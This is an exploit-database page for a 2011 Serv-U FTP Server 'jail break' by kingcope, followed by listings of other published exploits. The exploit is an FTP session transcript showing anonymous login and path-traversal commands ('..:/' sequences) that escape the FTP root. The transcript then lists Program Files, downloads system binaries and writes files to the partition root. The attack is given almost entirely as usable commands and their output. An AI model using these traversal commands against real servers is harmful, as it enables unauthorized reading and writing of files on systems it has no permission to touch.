Menu

Search for hundreds of thousands of exploits

"Serv-U FTP Server - Jail Break"

Author

Exploit author

kingcope

Platform

Exploit platform

windows

Release date

Exploit published date

2011-12-01

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
I m better than TESO!
CONFIDENTIAL SOURCE MATERIALS!

[*]----------------------------------------------------[*]
	Serv-U FTP Server Jail Break 0day
	Discovered By Kingcope
	Year 2011
[*]----------------------------------------------------[*]

Affected:
220 Serv-U FTP Server v7.3 ready...
220 Serv-U FTP Server v7.1 ready...
220 Serv-U FTP Server v6.4 ready...
220 Serv-U FTP Server v8.2 ready...
220 Serv-U FTP Server v10.5 ready...

From the Vendor: Fixed in Serv-U 11.1.0.5+. Affects all previous versions.

[*]----------------------------------------------------[*]
C:\Users\kingcope\Desktop>ftp 192.168.133.134
Verbindung mit 192.168.133.134 wurde hergestellt.
220 Serv-U FTP Server v6.4 for WinSock ready...
Benutzer (192.168.133.134:(none)): ftp								(anonymous user :>)
331 User name okay, please send complete E-mail address as password.
Kennwort:
230 User logged in, proceed.
ftp> cd "/..:/..:/..:/..:/program files"
250 Directory changed to /LocalUser/LocalUser/LocalUser/LocalUser/program files
ftp> ls -la
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
dr--r--r--   1 user     group           0 Nov 12 21:48 .
dr--r--r--   1 user     group           0 Nov 12 21:48 ..
drw-rw-rw-   1 user     group           0 Feb 14  2011 Apache Software Foundatio
n
drw-rw-rw-   1 user     group           0 Feb  5  2011 ComPlus Applications
drw-rw-rw-   1 user     group           0 Jul 11 01:06 Common Files
drw-rw-rw-   1 user     group           0 Jul  8 16:57 CoreFTPServer
drw-rw-rw-   1 user     group           0 Jul 11 01:06 IIS Resources
d---------   1 user     group           0 Jul  8 16:12 InstallShield
Installation Information
drw-rw-rw-   1 user     group           0 Jul 29 15:07 Internet Explorer
drw-rw-rw-   1 user     group           0 Jul  8 16:12 Ipswitch
drw-rw-rw-   1 user     group           0 Feb 12  2011 Java
drw-rw-rw-   1 user     group           0 Jul 26 13:19 NetMeeting
drw-rw-rw-   1 user     group           0 Jul 29 14:39 Outlook Express
drw-rw-rw-   1 user     group           0 Jul  8 15:39 PostgreSQL
drw-rw-rw-   1 user     group           0 Nov 12 21:48 RhinoSoft.com
drw-rw-rw-   1 user     group           0 Feb 12  2011 Sun
d---------   1 user     group           0 Jul 29 15:13 Uninstall Information
drw-rw-rw-   1 user     group           0 Feb  5  2011 VMware
drw-rw-rw-   1 user     group           0 Jul  8 15:34 WinRAR
drw-rw-rw-   1 user     group           0 Jul 26 13:30 Windows Media Player
drw-rw-rw-   1 user     group           0 Feb  5  2011 Windows NT
d---------   1 user     group           0 Feb  5  2011 WindowsUpdate
226 Transfer complete.
FTP: 1795 Bytes empfangen in 0,00Sekunden 448,75KB/s
ftp>
[*]----------------------------------------------------[*]
with write perms:
ftp> put foo.txt ..:/..:/..:/foobar <<-- writes foo into root of partition
[*]----------------------------------------------------[*]
and as anonymous ftp:
ftp> get ..:/..:/..:/..:/windows/system32/calc.exe yes
200 PORT Command successful.
150 Opening ASCII mode data connection for calc.exe (115712 Bytes).
226 Transfer complete.
FTP: 115712 Bytes empfangen in 0,04Sekunden 2571,38KB/s
[*]----------------------------------------------------[*]

This works to!!! :

220 Serv-U FTP Server v7.3 ready...
Benutzer (xx.xx.xx.xx:(none)): ftp
331 User name okay, please send complete E-mail address as password.
Kennwort:
230 User logged in, proceed.
ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*"
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
.
..
AUTOEXEC.BAT
boot.ini
bootfont.bin
bsmain_runtime.log
CONFIG.SYS
Documents and Settings
FPSE_search
Inetpub
IO.SYS
log
MSDOS.SYS
msizap.exe
MSOCache
mysql
NTDETECT.COM
ntldr
Program Files
RavBin
RECYCLER
Replay.log
rising.ini
System Volume Information
TDDOWNLOAD
WCH.CN
WINDOWS
wmpub
226 Transfer complete. 317 bytes transferred. 19.35 KB/sec.
FTP: 317 Bytes empfangen in 0,01Sekunden 21,13KB/s

[*]----------------------------------------------------[*]
Sometimes you need to give it the path:

ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\"
ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*"
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
.
..
360
Adobe
ASP.NET
CCProxy
CE Remote Tools
cmak
Common Files
ComPlus Applications
D-Tools
FFTPServer
HTML Help Workshop
IISServer
InstallShield Installation Information
Intel
Internet Explorer
Java
JavaSoft
K-Lite Codec Pack
Microsoft ActiveSync
Microsoft Analysis Services
Microsoft Device Emulator
Microsoft MapPoint Web Service Samples
Microsoft MapPoint Web Service SDK, Version 4.0
Microsoft Office
Microsoft Office Servers
Microsoft Silverlight
Microsoft SQL Server
Microsoft Visual SourceSafe
Microsoft Visual Studio 8
Microsoft.NET
MSBuild
MSXML 6.0
NetMeeting
Outlook Express
PortMap1.61
Reference Assemblies
Rising
SQLXML 4.0
SQLyog Enterprise
STS2Setup_2052
Symantec
Thunder Network
TSingVision
Uninstall Information
Windows Media Player
Windows NT
WindowsUpdate
WinRAR
226 Transfer complete. 835 bytes transferred. 50.96 KB/sec.
FTP: 835 Bytes empfangen in 0,01Sekunden 64,23KB/s
ftp>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2013-10-29 "Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution" remote php kingcope
2013-09-03 "MikroTik RouterOS - sshd (ROSSSH) Remote Heap Corruption" remote hardware kingcope
2013-08-07 "Apache suEXEC - Information Disclosure / Privilege Escalation" remote linux kingcope
2013-07-16 "Squid 3.3.5 - Denial of Service (PoC)" dos linux kingcope
2013-07-11 "Nginx 1.3.9/1.4.0 (x86) - Brute Force" remote linux_x86 kingcope
2013-06-05 "Plesk < 9.5.4 - Remote Command Execution" remote php kingcope
2013-04-12 "ircd-hybrid 8.0.5 - Denial of Service" dos linux kingcope
2012-12-06 "Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass" remote linux kingcope
2012-12-02 "MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution" remote windows kingcope
2012-12-02 "MySQL (Linux) - Heap Overrun (PoC)" dos linux kingcope
2012-12-02 "IBM System Director Agent - Remote System Level" remote windows kingcope
2012-12-02 "freeFTPd 1.2.6 - Remote Authentication Bypass" remote windows kingcope
2012-12-02 "MySQL - Denial of Service (PoC)" dos linux kingcope
2012-12-02 "MySQL (Linux) - Stack Buffer Overrun (PoC)" dos linux kingcope
2012-12-02 "MySQL (Linux) - Database Privilege Escalation" local linux kingcope
2012-12-02 "(SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication Bypass" remote linux kingcope
2012-12-02 "MySQL - 'Stuxnet Technique' Windows Remote System" remote windows kingcope
2012-12-02 "freeSSHd 2.1.3 - Remote Authentication Bypass" remote windows kingcope
2012-12-02 "MySQL - Remote User Enumeration" remote multiple kingcope
2012-08-13 "Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Null Pointer Dereference Crash (PoC)" dos linux kingcope
2012-07-01 "BSD - 'TelnetD' Remote Command Execution (2)" remote bsd kingcope
2012-06-10 "Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities" remote windows kingcope
2012-03-19 "Apache Tomcat - Account Scanner / 'PUT' Request Command Execution" remote multiple kingcope
2012-01-17 "Linux Kernel 2.6.36 IGMP - Remote Denial of Service" dos linux kingcope
2011-12-01 "FreeBSD - 'ftpd / ProFTPd' Remote Command Execution" remote freebsd kingcope
2011-12-01 "Serv-U FTP Server - Jail Break" remote windows kingcope
2011-10-11 "JBoss AS 2.0 - Remote Command Execution" remote windows kingcope
2011-08-19 "Apache - Remote Memory Exhaustion (Denial of Service)" dos multiple kingcope
2011-06-30 "FreeBSD OpenSSH 3.5p1 - Remote Command Execution" remote freebsd kingcope
2011-03-04 "JBoss Application Server 4.2 < 4.2.0.CP09 / 4.3 < 4.3.0.CP08 - Remote Command Execution" webapps jsp kingcope 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected